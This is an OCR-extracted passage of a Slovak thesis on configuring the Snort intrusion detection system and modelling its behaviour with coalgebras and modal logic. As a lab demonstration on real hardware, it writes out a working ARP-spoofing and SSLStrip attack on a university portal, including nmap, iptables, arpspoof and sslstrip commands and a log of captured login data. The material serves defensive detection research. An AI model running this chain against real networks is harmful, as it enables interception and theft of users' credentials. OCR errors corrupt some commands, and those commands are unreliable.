Syntax prepinacov nastrojov pacman a yaourt je rovnaka. Pokial nastroj yaourt
nepozna urcity prepinac, zavola néastroj pacman, ktory vykona pozadovany prikaz.
Zéakladna administracia operacného systému Arch Linux pozostava z nasledujucich

prikazov:

e instaldcia balicka/balickov:

pacman -S [nazov_balicka] {nazov_balicka}

e vyhladavanie balicka:

pacman -Ss nazov_balicka

e odstranenie balicka/balickov:
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pacman -R [nazov_balicka] {nazov_balicka}

e odstranenie balicka/balickov vratane ich zévislych balickov, ktoré niesu zavislé
na inych balic¢koch:

pacman -Rs [nazov_balicka] {nadzov_balicka}

e aktualizdcia vSetkych balickov:

pacman -Syu

e aktualizicia lokalnej databdzy obsahujuicej vSetky balicky, ktoré sa nachadzaja
v repozitaroch:

pacman -Syy

Nastroj Snort sa nenachadza v oficidlnych repozitaroch avsak je dostupny v AUR.
Instalacia Snortu je mozna pomocou prikazu:

yaourt -S snort

na ktory operacny systém zareaguje interaktivnym vystupom, pomocou ktorého sa

postupne vykona instalacia.

9.1.2 Konfiguracia nastroja Snort

Po tuspesnej instalacii néstroja Snort je ziaduce pridat do adresara ’/etc/snort’
pravidla pre rozpoznavanie potencialnych tutokov a abnormélnych situacii. Tiez je
potrebné stiahnut z oficidlnej stranky projektu Snort [37], avSak na to je nutna regis-
tracia. Registraciou sa ziskava pristup k pravidlam, ktoré si poskytované vo forme
komprimovaného siboru. Nasledne staci obsah komprimovaného stboru rozbalit do
vyssie uvedeného adresara.

Zakladny konfigurac¢ny stbor nastroja Snort je > /etc/snort/snort.conf’, ktory
umoznuje Siroku skalu nastaveni. Podrobnejsie informécie sa nachéddzaji na oficial-
nej stranke projektu.

Snort pouziva jednoduché pravidld, pomocou ktorych na zaklade znamych algo-

ritmov definuje ,vzory“ ttokov a podozrivych aktivit, ktoré nésledne pouziva pri ich
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detekcii. Podla [38] tieto pravidla pozostavaju z dvoch Casti a to hlavicky a moznosti,
kde hlavicka obsahuje akciu, sietovy protokol, zdrojovi, cielovi adresu I[P s maskou
podsiete a zdrojovy a cielovy port a moznosti pravidla obsahuju vystrainé spravy
a informacie o tom, ktoré casti paketu maju byt preskimané, pre urcenie ¢i sa ma
vykonat akcia pravidla.

Syntax pravidla je nasledovna:

<Rule Actions> <Protocol> <Source IP Address> <Source Port>
<Direction Operator> <Destination IP Address> <Destination Port>

(rule options)

Niekolko zakladnych moznosti tvorby pravidiel je zobrazenych v tabulke (9—2)):

Syntax pravidla Pravidlo
Rule Actions alert | log | pass | drop | reject ...
Protocol TCP | UDP | ICMP | IP
Source IP Address & Mask any | specific e.g. 192.168.1.1/24
Source Port any | specific e.g. 80
Direction Operator > <>
Destination IP Address & Mask any | specific e.g. 192.168.1.1/24
Destination Port any | specific e.g. 80
(rule options) * e.g. (msg:"XXX Packet”; sid:101; rev:1;)

Tabulka 9—-2 Syntax a moznosti pravidla pre Snort

Poznamka 9.2. * Polozka (rule options) v tabulke (9—2)) je podrobne vysvetlend na
manuélovych strankach projektu [38]. Kvoli prehladnosti prace a obsirnosti prob-
lematiky je predstaveny iba kratky tivod z moznosti nastaveni pravidiel Snortu.

Povinna syntax polozky (rule options) pozostava z:

e msg:”string”;, sprava vo formate string, ktora bude zahrnuta v protokole ¢in-
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nosti systému,
e sid:int; ¢islo int, ktoré sluzi ako jedinecny identifikdtor pravidla Snortu,

e rev:int; nepovinné, avsak odporica sa pouzivat, kde ¢islo int oznacuje verziu

revizie pravidla.

O

Priklad 9.3. Pre overenie a demonstraciu funkénosti Snortu som navrhol jednodu-
ché pravidlo, ktoré po nacitani Snort-om pri pokuse o ,,ping® (ktory vyuziva protokol
ICMP) z alebo do pocitaca, spusti akciu upozornenie (z ang. alert) a vytvori o tom
zdznam v subore
> /var/log/snort/alert’
formou logu a potencidlnej hrozbe.

Navrhnuté pravidlo ma nasledujuci tvar:
alert icmp any any -> any any (msg:"ICMP Packet"; sid:101; rev:1i;)
je potrebné ho ulozit do siboru s pravidlami, ktoré Snort nacitava pri svojom spus-
teni, konkrétne pre ICMP protokol je vytvoreny subor
> /etc/snort/rules/icmp.rules’
ktory je potrebné zavolat v konfiguracnom subore Snortu:

# cat /etc/snort/snort.conf

include /etc/snort/rules/icmp.rules

Po spusteni Snortu pomocou prikazu:

snort -c /etc/snort/snort.conf -1 /var/log/snort/

je Snort aktivny a sleduje celu siefovii komunikaciu. Pricom prepinac
e -c“ ocakava ako parameter cestu ku konfiguracnému siboru Snortu,

e -1“ oCakava ako parameter cestu k podadresaru, kde ma vytvorit protokoly

¢innosti nastroja Snort.
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Kedze Snort uz pozna nové pravidlo (9.3), bude kazdy pokus ,,ping“ poéitaca (ktory

pre svoj chod vyuziva ICMP protokol) povazovat za tok a vytvori o tom zaznam.

Nech ma siet topolégiu znazornend na obr. (9—1)): kde:

_
#_...-""" Lastop-FT
= PC1
Routar-PT h""""-...__
ROLTER .
Lapt.np-P‘T
BiZ2

Obrazok 9—1 Topolégia siete

¢ ROUTER (smerovacie zariadenie) ma priradent IP adresu s maskou podsiete

192.168.1.1/24,

e PC1 ma priradent adresu IP s maskou podsiete 192.168.1.102/24,

e PC2 ma priradent adresu IP s maskou podsiete 192.168.1.105/24.

Nech klient PC2 vykona ping IP adresy 192.168.1.102:

root@kali:"# ifconfig wlanO

wlanO

Link encap:Ethernet HWaddr XX:XX:XX:XX:XX:XX

inet addr:192.168.1.105 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::7a92:9cff:fe67:4d5e/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:935 errors:0 dropped:0 overruns:0 frame:0

TX packets:1180 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:96720 (94.4 KiB) TX bytes:87852 (85.7 KiB)
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Pozndmka 9.4. Hardvérova MAC adresa je cenzurovand z bezpecnostnych dévodov,
kvoli vyuzitiu realnych zariadeni a naslednému iplnému zverejneniu zaverecnej prace

v centralnom registri zaverecénych prac. O

root@kali: # ping -c 2 192.168.1.102

PING 192.168.1.102 (192.168.1.102) 56(84) bytes of data.

64 bytes from 192.168.1.102: icmp_req=1 ttl=64 time=133 ms
64 bytes from 192.168.1.102: icmp_req=2 ttl=64 time=1.72 ms

-—— 192.168.1.102 ping statistics ——-—
2 packets transmitted, 2 received, 0% packet loss, time 1000ms

rtt min/avg/max/mdev = 1.727/67.620/133.513/65.893 ms

Pomocou navrhnutého pravidla (9.3|) Snort rozpozné tutok a vytvori protokol o ¢in-
nosti udalosti:

[jan@x: “]$ cat /var/log/snort/alert

[*x] [1:101:1] ICMP Packet [*x*]

[Priority: 0]

04/13-17:11:14.811656 192.168.1.105 -> 192.168.1.102
ICMP TTL:64 T0S:0x0 ID:35848 IpLen:20 DgmlLen:84 DF
Type:8 Code:0 ID:3944 Seq:1 ECHO

[**] [1:101:1] ICMP Packet [*x]

[Priority: 0]

04/13-17:11:14.811699 192.168.1.102 -> 192.168.1.105
ICMP TTL:64 T0S:0x0O ID:63453 IpLen:20 DgmLen:84
Type:0 Code:0 ID:3944 Seq:1 ECHO REPLY

[*x*] [1:101:1] ICMP Packet [xx*]

[Priority: 0]

04/13-17:11:15.680654 192.168.1.105 -> 192.168.1.102
ICMP TTL:64 T0S:0x0 ID:35917 IpLen:20 DgmLen:84 DF
Type:8 Code:0 ID:3944 Seq:2 ECHO

[**x] [1:101:1] ICMP Packet [*x*]
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[Priority: 0]

04/13-17:11:15.680709 192.168.1.102 -> 192.168.1.105
ICMP TTL:64 T0S:0x0O ID:63489 IpLen:20 DgmLen:84
Type:0 Code:0 ID:3944 Seq:2 ECHO REPLY

O

Dalsou dolezitou ¢astou konfiguracie IDS Snort st preprocesory (z ang. Pre-
processors), ktoré podla [38] umoziuju rozsirit funkcionalitu Snortu tym, Ze povo-
[uju pouzivatelom vynechat, resp. zavolat pouzitie modulov Snortu, ktorych existuje
viacero a nie vzdy je potrebné vyuzivat vsetky. Pre konfiguraciu a nasledné naci-
tanie preprocesorov sluzi klucové slovicko preprocessor v konfiguracnom sibore
snort.conf, ktorého syntax ma tvar:

preprocessor <name>: <options>

kde:

e <name> oznacuje nazov konkrétneho preprocesora napriklad: Session,

Stream, ARP Spoof Preprocessor, ...,
e <options> tato zlozka je pre kazdy preprocesor Specificka.

Priklad 9.5. Preprocesor sfPortscan je modul vyvinuty spolo¢nostou Sourcefire
[38], ktory je navrhnuty pre detekciu prvej fazy sietového ttoku. Vo vSeobecnosti,
v pociatocnej faze ttoku musi utocénik preskimaft, aké typy siefovych protokolov
a sluzieb potencialna obet utoku podporuje. V takomto pripade je najjednoduchsie
vyuzit sluzbu skenovania portov.

Zakladna syntax konfiguracie preprocesora sfPortscan je nasledovna:

preprocessor sfportscan: proto <protocols> \
scan_type <portscan|portsweep|decoy_portscan|distributed_portscan|all> \
sense_level <low|medium|high> \
ignore_scanners <IP list> \
ignore_scanned <IP list> \

logfile <path and filename>
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kde:

proto <protocols> pri¢om parameter <protocols> moze nadobudat sie-
tové protokoly TCP, UDP, ICMP, ip_proto alebo vSetky spomenuté zvolenim

moznosti all,

scan_type <portscan|portsweep|decoy portscan
|distributed portscan|all> tato zlozka syntaxe umoznuje zvolit ochranu

pred konkrétnym typom skenovania portov,

sense_level <low|medium|high> vyjadruje intenzitu detegovania uskutoc-

nenia potencialneho skenovania portov,
ignore_scanners <IP list> ignoruje portscan zo Specifickych adries IP,
ignore_scanned <IP list> ignoruje portscan do Specifickych adries IP,

logfile <path and filename> nepovinna zlozka, vytvori protokol o ¢innosti
do specifického adreséara, ktory je uvedeny v parametri <path and filename>,
v pripade, ze tato moznost nieje definovana log bude vytvoreny v konfigurac-

nom adresari Snortu.

Moja konfigurécia preprocesora sfportscan je nasledovna:

# Portscan detection. For more information, see README.sfportscan

preprocessor sfportscan: proto { all } \

memcap { 10000000 } \

sense_level { high } \

logfile { /var/log/snort/portscan.log }

Nech mé sief rovnaku topolégiu ako na obrazku (9—1)). Nech ttoénik vykond

vertikdlny scan portov obete pomocou néstroja nmap vyuzitim prepinaca -F:

root@kali: “# date

Mon Apr 13 18:01:25 UTC 2015

root@kali:~# mnmap -F 192.168.1.102
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Starting Nmap 6.47 ( http://mmap.org ) at 2015-04-13 18:01 UTC
Nmap scan report for 192.168.1.102

Host is up (0.018s latency) .

A1l 100 scanned ports on 192.168.1.102 are closed

MAC Address: XX:XX:XX:XX:XX:XX (Liteon Technology)

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
root@kali:~#

Potom Snort zachyti tento typ skenovania portov a vytvori o tom zadznam v pred-
definovanom stbore:

[root@x ~]# cat /var/log/snort/portscan.log

Time: 04/13-18:01:39.536820

event_ref: 0O

192.168.1.105 -> 192.168.1.102 (portscan) TCP Portscan
Priority Count: 9

Connection Count: 10

IP Count: 1

Scanner IP Range: 192.168.1.105:192.168.1.105
Port/Proto Count: 10

Port/Proto Range: 25:8080

9.2 Demonstracia vyuzitia CMLL pre IDS

Pre nazorné preukéazanie vyuzitia koalgebrickej modalnej linearnej logiky pre IDS
navrhnutej v kapitole , je potrebné vytvorif laboratorne prostredie v ktorom
bude simulovany konkrétny titok. Po odchyteni iitoku pomocou systému pre detekciu
prienikov v (pocitacovej) sieti, bude pre dané siefové narusenie realizovany jeho popis
pomocou formuly predstaveného logického systému CMLL a koalgebry prislusného

polynomialneho endofunktora.
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9.2.1 Navrh laboratérneho prostredia

Pre moje ucely bude navrhnuté laboratérne prostredie pozostavat z dvoch pocitacov
a smerovacieho zariadenia ktoré bude plnit tlohu pristupového sieftového priechodu
(z ang. gateway), pomocou ktorého budi pocitace v lokalnej sieti LAN a pripo-
jené do siete internet. Kvoli preukazaniu funkcénosti v redlnych podmienkach som
nezvolil standardnii moznost virtudlizacie strojov a siefovych zariadeni, ale pouzil

som skutoc¢né zariadenia. Nech ma navrhnuta sief rovnaku topoldgiu ako topoldgia

zobrazend v kapitole (9.1.2) na obrazku (9— 1)) kde:

e PC1 je klientsky pocitac¢ znacky Toshiba, model ,,Satellite L650D* s operac-

nym systémom Arch Linux, s nainstalovanym Snort-om a nech ma priradené:

— adresa IP: 192.168.1.102

— maska IP podsiete: 255.255.255.0

Parametre OS a konfiguracia siefového rozhrania ,,wlp2s0“, pomocou ktorého
je klient PC1 prepojeny so smerovacim zariadenim je nasledovna:
[jan@x ~]1$ uname -a

Linux x 3.19.2-1-ARCH #1 SMP PREEMPT Wed Mar 18 16:21:02 CET 2015
x86_64 GNU/Linux

[jan@x ~]1$ ifconfig wlp2s0

wlp2s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255
ether XX:XX:XX:XX:XX:XX txqueuelen 1000 (Ethernet)

RX packets 898562 bytes 1240103991 (1.1 GiB)

RX errors O dropped O overruns O frame O

TX packets 516320 bytes 57515251 (54.8 MiB)

TX errors O dropped O overruns O carrier O collisions O

e PC2 je klientsky pocitac¢ znacky Acer, model ,Aspire One D257“ s operac-
nym systémom Kali Linux (obdoba populdrneho OS Backtrack), sliziaci na

prevedenie utoku a nech ma priradené:
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— adresa IP: 192.168.1.105

— maska [P podsiete: 255.255.255.0

Parametre OS a konfiguracia siefového rozhrania ,,wlan0“, pomocou ktorého
je klient PC2 prepojeny so smerovacim zariadenim je nasledovna:

root@kali: # uname -a

Linux kali 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1"kali2 (2015-03-02)
x86_64 GNU/Linux

root@kali: # ifconfig wlanO

wlanO Link encap:Ethernet HWaddr XX:XX:XX:XX:XX:XX

inet addr:192.168.1.105 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::7a92:9cff:fe67:4d5e/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:10 errors:0 dropped:0 overruns:0 frame:O0

TX packets:17 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:1718 (1.6 KiB) TX bytes:2742 (2.6 KiB)

¢ ROUTER je smerovacie zariadenie od vyrobcu TP-LINK®), konkrétne model
»,04M Wireless ADSL2+ Modem Router®, ktoré vytvara lokalnu sief pomocou
smerovacieho protokolu RIP z (ang. Routing Information Protocol) vo verzii

2, s nasledujucimi parametrami:
— IP adresa: 192.168.1.1
— IP maska podsiete: 255.255.255.0
Vystup nastroja ,,route” s prepinacom ,-n“, pre zobrazenie numerickych adries

namiesto symbolickych mien, zobrazuje smerovaciu tabulku klienta PC1:

[janGx ~]1$ route -n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.1.1 0.0.0.0 UG 600 0 0 wlp2s0
192.168.1.0 0.0.0.0 265.255.255.0 U 303 0 0 wlp2s0
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9.2.2 ARP spoofing v kombinicii s nastrojom SSLStrip

ARP spoofing je druh ttoku ,Man-in-the-Middle“ (dalej skratene MITM), kde do-
chadza k zneuzitiu protokolu ARP (z ang. Address Resolution Protocol), pomocou
ktorého sa dokaze utocénik vydéavat za iny pocitac¢ v lokalnej sieti [I1]. Princip itoku
spociva v oklamani zariadeni v sieti pri Sireni dat, falosSnou odpovedou na poziadavku
ARP o MAC adresu zariadenia konkrétnej adresy IP. V takomto pripade itoc¢nik ne-
ustale odpoveda na poziadavku ARP svojou MAC adresou, na ktort bude nasledne

zasielana celd komunikécia, urcéena pre iné zariadenie. Princip fungovania takéhoto

typu utoku je zobrazeny na obrazku (9 —2]).

Obrazok 9—2 Princip MITM tutoku

Najcastejsie sa ARP spoofing vyuziva na sledovanie komunikacie v kombinacii
s inymi nastrojmi, ktoré dokazu obist dalSie zabezpecenia, ako je napriklad sifrovana
komunikécia webového obsahu pomocou HTTPS (z ang. Hypertext Transfer Protocol
Secure). Jeden z nastrojov, ktory to umoziiuju je SSLStrip [33], predstaveny v roku
2009 na konferencii Black Hat [23] v Nevade, pricom funguje na principe sledovania
sietovej komunikacie na sSpecifickom porte. Ak SSLStrip odhali HTTP poziadavku

pre webovy server, ktory na nu odpovie poziadavkou na presmerovanie komunika-
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cie na zabezpeceny port 443 patriaci HT'TPS protokolu, modifikuje ju na HTTP
poziadavku a odosle origindlnemu prijemcovi, ten zasle HTTP odpoved spéf ttoc-
nikovi a ten dalej odpovie serveru pomocou protokolu HTTPS. Néasledne prebieha
komunikacia medzi serverom a utoc¢nikom cez protokol HTTPS a medzi ito¢nikom
a originalnym prijemcom prostrednictvom protokolu HTTP. Princip fungovania na-

stroja SSLStrip je zobrazeny na obrazku (9—3J).

HTTP HTTPS

SSLStrip

Obrazok 9—3 Princip SSLStrip utoku

Realizacia vyssie spomenutého ttoku moéze prebiehat pomocou nasledujiceho

algoritmu:

1. Analyza sietovej topologie, napriklad pomocou nastroja nmap:

root@kali:~# nmap -F 192.168.1.1/24

Starting Nmap 6.47 ( http://mmap.org ) at 2015-04-15 22:44 UTC
Nmap scan report for 192.168.1.1

Host is up (0.0036s latency) .

Not shown: 97 filtered ports

PORT STATE SERVICE

21/tcp open ftp
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23/tcp open telnet
80/tcp open http
MAC Address: XX:XX:XX:XX:XX:XX (Tp-link Technologies CO.)

Nmap scan report for 192.168.1.102

Host is up (0.030s latency) .

A1l 100 scanned ports on 192.168.1.102 are closed
MAC Address: XX:XX:XX:XX:XX:XX (Liteon Technology)

Nmap scan report for 192.168.1.105
Host is up (0.000036s latency) .
A1l 100 scanned ports on 192.168.1.105 are closed

Nmap done: 256 IP addresses (4 hosts up) scanned in 4.10 seconds

IDS Snort rozpozné tento krok ako potencialnu mozna prvu fazu utoku a vy-
tvori o tom zaznam vid . Nésledne si staci zvolif vhodnt obef, v mojom
pripade vychadzajtc z navrhnutého laboratérneho prostredia v kapitole (9.2.1))
a pouzitej siefovej topoldgie zobrazenej na obr. (9—1]). Obet md IP adresu
a masku podsiete:

192.168.1.102/24

. Kedze utoc¢nik potrebuje posielat data minimalne dvom zariadeniam, je po-

trebné zapnit presmerovanie tras (z ang. IP forwarding). V operacnych systé-
moch zalozenych na baze jadra linux, je na to vopred vytvoreny sibor:

> /proc/sys/net/ipv4/ip_forward’

v ktorom symbol ’0’ oznacuje smerovanie tras vypnuté a symbol "1’ zapnuté,
pricom prednastavend hodnota je ’0". Subor je potrebné prepisat:

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

. Prostrednictvom néstroja iptables, pomocou ktorého je mozné konfigurovat

zariadenie bezpec¢nostného rozhrania (z ang. firewall) poskytnutého linuxovym
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jadrom, je mozné presmerovat celi komunikéciu z portu 80 (HTTP), napriklad
na port 10000, ktory bude na zaver sledovat SSLStrip.

root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80
-j REDIRECT --to-port 10000

Pomocou tutoku ARP spoofing presmerovat siefovi komunikaciu medzi smero-
vacim zariadenim a klientom PC1 cez klienta PC2. Na to slazi nastroj arps-
poof, kde je najprv potrebné presmerovat komunikaciu smerujicu od klienta
PC1 do smerovacieho zariadenia:

root@kali: # arpspoof -i wlanO -t 192.168.1.102 192.168.1.1

XX XX:XX:XX:XX:XX YY:YY:YY:YY:YY:YY 0806 42: arp reply 192.168.1.1 is-at
XX XX:XX:XX:XX: XX

a nasledne opacnym smerom:

root@kali:"# arpspoof -i wlanO -t 192.168.1.1 192.168.1.102
YY:YY:YY:YY:YY:YY XX:XX:XX:XX:XX:XX 0806 42: arp reply 192.168.1.102 is-at
YY:YY:YY:YY:YY:YY

Tato udalost rozpozna IDS Snort ako ttok a pri pokuse o zobrazenie web
stranky https://student . tuke.sk/ zareaguje vytvorenim upozornenia v logu:

[**] [1:101:1] ICMP Packet [**]

[Priority: O]

04/13-23:59:47.579311 192.168.1.105 -> 192.168.1.102
ICMP TTL:64 TOS:0xCO ID:57454 IpLen:20 DgmLen:522
Type:5 Code:1 REDIRECT HOST NEW GW: 192.168.1.1
** ORIGINAL DATAGRAM DUMP:

192.168.1.102:56031 -> 147.232.3.210:443

TCP TTL:63 TO0S:0x0 ID:44869 IpLen:20 DgmlLen:494 DF
Seq: 0xAD179471

(466 more bytes of original packet)

*x END OF DUMP

Spustif nastroj SSLStrip s prepinacom ,-1*, ktory ako parameter vyzaduje ¢islo

portu. V mojom pripade 10000, vid krok ¢.3:
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root@kali:"# sslstrip -1 10000

sslstrip 0.9 by Moxie Marlinspike running...

Priklad 9.6. Pre demonstraciu funkénosti som si zvolil nas univerzitny informacény
systém MAIS, konkrétne jeho rozhranie ,Student®, ktoré je dostupné na adrese

https://student.tuke.sk/. Z obrazkov a (9-5) je jasné, ze v beznej

=,

J/ B mais - Student - Tec... * \ ¥

¢ (' [~ https://student.tuke.sk/student/home.mais?smi=0

STUDENT

TUKE FBERG HF 5jF FEl  SvF

Obrazok 9—4 Rozhranie ,,Student®, portalu MAIS pred titokom

situacii prebieha celd komunikacia pomocou protokolu HTTPS.

Page Info - https://student.tuke.sk/student/home.mais?smi=0 2 o x

o B B B

| General Media Permissions BTCIIEY

Website Identity
Website: student.tuke.sk
Owner: This website does not supply ownership information,
Verified by: TERENA

View Certificate

Privacy & History

Have | visited this website prior to today? Yes, 206 times

Is thi; bsite storing infc it ki (

s this website storing information (cookies) on my Yes View Cookies
computer?

Have | saved any passwords for this website? Yes N e P s

Technical Details
Connection Encrypted (TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 128 bit keys, TLS 1.2)
The page you are viewing was encrypted before being transmitted over the Internet.
Encryption makes it difficult for unauthorized people to view information traveling between computers.
It is therefore unlikely that anyone read this page as it traveled across the network.

Obrazok 9—5 Vlastnosti zabezpecenia rozhrania ,,Student“, portalu MAIS pred titokom
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Po tispesnom prevedeni utoku vyzera webovy obsah rovnako bezpecne a dovery-

hodne, avsak celd komunikacia prebieha pomocou nesifrovaného HTTP.

] mals - Student - Tec... X / 3 mas - Student - Tec..

\ (' & student.tuke.sk/student/login.mais

STUDENT

TUKE FBERG HF S5jF FEH  SvF

Obrazok 9—-6 Rozhranie ,Student®, portalu MAIS po ttoku

Na obréazkoch a je mozné pozorovat uspesne prevedenie ttoku.

Page Info — http://: tuke.sk/ /home.mais;jsessionid=2219468C77288,. - O X

o B =B B

| General Media Permissions S

Website Identity
Website: student.tuke.sk
Owner: This website does not supply ownership information.

Verified by:  Not specified

Privacy & History

Have | visited this website prior to today? Yes, 206 times

Is this website storing informati ki i
s this website storing information (cookies) on my Yes o
computer?

Have | saved any passwords for this website? No View Saved Passwords

Technical Details
Connection Not Encrypted
The website student.tuke.sk does not support encryption for the page you are viewing.

Information sent over the Internet without encryption can be seen by other people while it is in transit.

Obrazok 9—7 Vlastnosti zabezpecenia rozhrania ,Student“, portalu MAIS po ttoku

SSLStrip je taktiez prednastaveny aby pri sledovani komunikacie zachytaval pri-

hlasovacie tidaje pouzivatelov a ukladal ich formou logu do stboru v podadresari

odkial bol spusteny.
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root@kali:"# date

Tue Apr 14 00:03:32 UTC 2015

root@kali:"# 1s -1tr

total O

drwxr-xr-x 2 root root 40 Apr 13 17:08 Desktop
root@kali: # 1ls -1ltr

total 4

drwxr-xr-x 2 root root 40 Apr 13 17:08 Desktop
-rw-r——-r—— 1 root root 203 Apr 14 00:06 sslstrip.log
root@kali: # cat sslstrip.log

2015-04-14 00:06:34,912 POST Data (student.tuke.sk):
j_username=pouzivatel&j_password=Heslo_pouzivatela
2015-04-14 00:06:52,284 SECURE POST Data (student.tuke.sk):
j_username=jp770ws&j_password=XXXXXXXXXXX

O

Pozndmka 9.7. Pouzité obrazky ikon v (9—2)) a (9 —3) st dostupné na adrese [I] a st
zverejnené pod GNU GPL licenciou.

9.2.3 Modelovanie spravania sa IDS na zdrojovo orientovanom zaklade

Pre formalny popis spravania sa IDS na zdrojovo orientovanom zaklade bol navr-
hnuty logicky systém v kapitole , prostrednictvom ktorého je mozné charakteri-
zovat proces spravania sa IDS pocas utoku , ktory je mozné vyjadrif formulou
koalgebraickej modalnej linearnej logiky pre IDS:

(P ®Iay) — QA ® ((A1 ® Ag) ® Tag)) —o A (9.2)

ktori je mozné precitat ako ,vertikalne skenovanie portov a akcia IDS vytvorenim
logu implikuje mozny utok a zaroven obojsmerné presmerovanie komunikacie cez
klienta PC2 a akcia IDS vytvorenim logu implikuje reakciu, ze itok nutne nastal®.

Pre prehladnost formuly ako aj nasledného dokazu zavadzam nasledujice oznacenia:
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e vertikalne skenovanie portov oznac¢im ako P,

e reakciu IDS na vertikdlne skenovanie portov, vytvorenim upozornenia v logu

o potencialnom utoku oznac¢im ako [aq,

e presmerovanie komunikacie cez PC2 z PC1 do smerovacieho zariadenia ozna-

¢im ako Aq,

e presmerovanie komunikacie cez PC2 zo smerovacieho zariadenia do PC1 ozna-

¢im ako A,,

e reakciu IDS na presmerovanie komunikécie, vytvorenim upozornenia v logu

o potencialnom utoku oznac¢im ako [as,
e Ttok oznacim ako At.

Dokaz formuly (9.2)) realizujem pomocou navrhnutych pravidiel v kapitole (8.3) vo
formate gentzenovho sekventového kalkulu. Z dékazu (9.2.3) je mozné pozorovat
realny proces reakcie IDS na konkrétne titoky pomocou prednastavenych pravidiel

a preprocesorov. Pre tplnost je treba dodaf, ze kontexty v dokaze obsahuju:
o I'={P* Iaf ,O(Ath), Af, Ay, Iag, O(AtH)},
o X ={P* Iai,0(At"), Ay, Ay, Taz },
o A={P* Iaf,0(Ath)},
o U ={A} Ay Iay}.

Dokazovy strom:
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9.2.4 Modelovanie spravania sa IDS prostrednictvom koalgebry prislus-

ného polynomialneho endofunktora

Dalsfm krokom v mojom pristupe forméalneho popisu spravania sa IDS je modelo-
vanie problematiky v abstraktnom ramci tedrie kategorii, zovseobecnenej mnoho-
typovej signatiry a pomocou koalgebry prislusného polynomialneho endofunktora.
V tomto pripade vychddzam z doterajsieho vyskumu publikovaného v [24] a v [25],

podla ktorého je pre formulovanie tohto pristupu potrebné:
1. definovat mnohotypovu signatiru paketu,
2. konstruovat kategoériu nekonecného toku paketov,

3. stanovit prislusny polynomidlny endofunktor nad navrhnutou kategoériou pa-

ketov,
4. charakterizovat symptémy znamych tutokov,
5. modelovat IDS ako koalgebru polynomialneho endofunktora.
Mnohotypova signatira je podla [26] usporiadana dvojica:
> = (T, F) (9.3)
kde:
e 7 je mnozina mien typov,
e F je mnozina mien operacii na typoch.

Fragment mnohotypovej signattiry paketu X, obsahujuci cast struktiry paketu
a symptomy utokov, konkrétne vertikalne skenovanie portov a ARP Spoofing a akcie

ktoré vykona IDS po detegovani konkrétneho tutoku je skonstruovany na obrazku

, pricom jeho obsah je prispésobeny prikladu.
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BEGIN Signature
Xp
Begin types
| T = {actions, protocols, ipaddr, port, natip, nat0, nat }
end

Begin opns
F ={alert,log, pass, drop, reject :— actions

255, arp, icmp, tcp :— protocols

ttl :— nat0

port :— nat(

version :— nat

1p_addr_d : natip X natip X natip X natip — ipaddr
1p_addr_s : natip X natip X natip X natip — ipaddr

mac_addr_d : hex X hex X hex X hex X hex X hex — mac

mac_addr_s : hex X hex X hex X hex X hex X hex — mac}

end

END

Obrazok 9—8 Mnohotypova signatira paketu X,

Dalsim krokom je konstrukcia kategérie nekoneéného toku paketov Packets,

ktorej:
e objektami su pakety: py,pa, ...,

e morfizmami st prechody medzi jednotlivymi paketmi: n : p;_1 — p; | i € N,

pricom p; je nasledujuci paket preberaného toku paketov.

Zaroven pre kazdy objekt p plati juniverzdlna projekénd vlastnost“[26], ktora je

definovand nasledovne:

e f:p— protocol,
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g:p—ttl,
e h:p— port,
® i :p— version,
® j:p—ip_addr._s,
e k:p—ip_addr.d.
Pre vsetky projekcie objektu p existuje jediny nasobny morfizmus:

(f,g,h,i,7,k) : p--+ protocols x nat0 x nat0 x nat X ips X ips (9.4)

Model kategdrie nekone¢ného toku paketov Packets je zobrazeny na obrazku (9—9)).

*  Packets

Obrazok 9—9 Kategoria nekoneéného toku paketov Packets
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V tretom kroku je potrebné stanovit prislusny polynomialny endofunktor nad

navrhnutou kategoériou paketov Packets:
F : Packets — Packets (9.5)
ktory je definovany nasledovne:

F(p) =X xp (9.6)

F(n(p)) = X x n(p) (9.7)
kde X predstavuje pozorovatelné hodnoty daného paketu, ktoré podla [24] je mozné
pozorovaf prostrednictvom prechodovej koalgebraickej struktury:

(head, tail) : p, — F(p,) (9.8)

kde:

e operacie head, tail vracaju prvy resp. posledny paket toku paketov a si defi-

nované ako:
— head : p, — p,
— tail : pp, = pp,
e stavovy priestor p, oznacuje nekonecny tok paketov, pricom predstavuje kom-

poziciu morfizmov:

Na zéklade toho je podla [25] mozné modelovat systém IDS bez detekcie utoku ako
koalgebru:
(pp, (head, tail)) (9.10)

V dalsom kroku je podla [24] potrebné rozsirit koalgebru (9.10) o schopnost

detekcie znamych utokov. V mojom pripade z ilustracnych dovodov bude koalgebra
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rozpoznavat iba dva typy tutokov A, B, pricom ich skuto¢ény vyznam, ako aj ich
symptémy si uvedené v tabulke (9—3)), kde druhy riadok tabulky vyjadruje redlny
utok.

A B

(TCP Portscan) (ARP Spoofing)

MAC Addr = MADAD | MAC Addr = MACAD _Spoofed

Protocol = 255 Protocol = ARP

TTL =0 TTL =0

Tabulka 9—3 Symptémy ttokov A a B

V pripade ak koalgebra (IDS) pozoruje na preberanom pakete uvedené symptémy
utoku, zareaguje vykonanim jednej z akcii definovanych v mnohotypovej signatiire
¥, (0—8), konkrétne jednou z operécii actions [26]. Na to je potrebné rozsirit defi-

niciu polynomialneho endofunktora o detekciu ttokov:

attack(p) — (p, n(p), intr type(p)) (9.11)
kde intr_type(p) je funkcia:
intr_type(p) : I — actions, (9.12)

pricom [ je typ narusenia.
Na nasledujicom kroku modelujem IDS so schopnostou detekcie utoku ako ko-

algebru
(pp, (head, tail, intr type)) (9.13)

pricom IDS [26], je charakterizovany ako n-tica operacii pre:

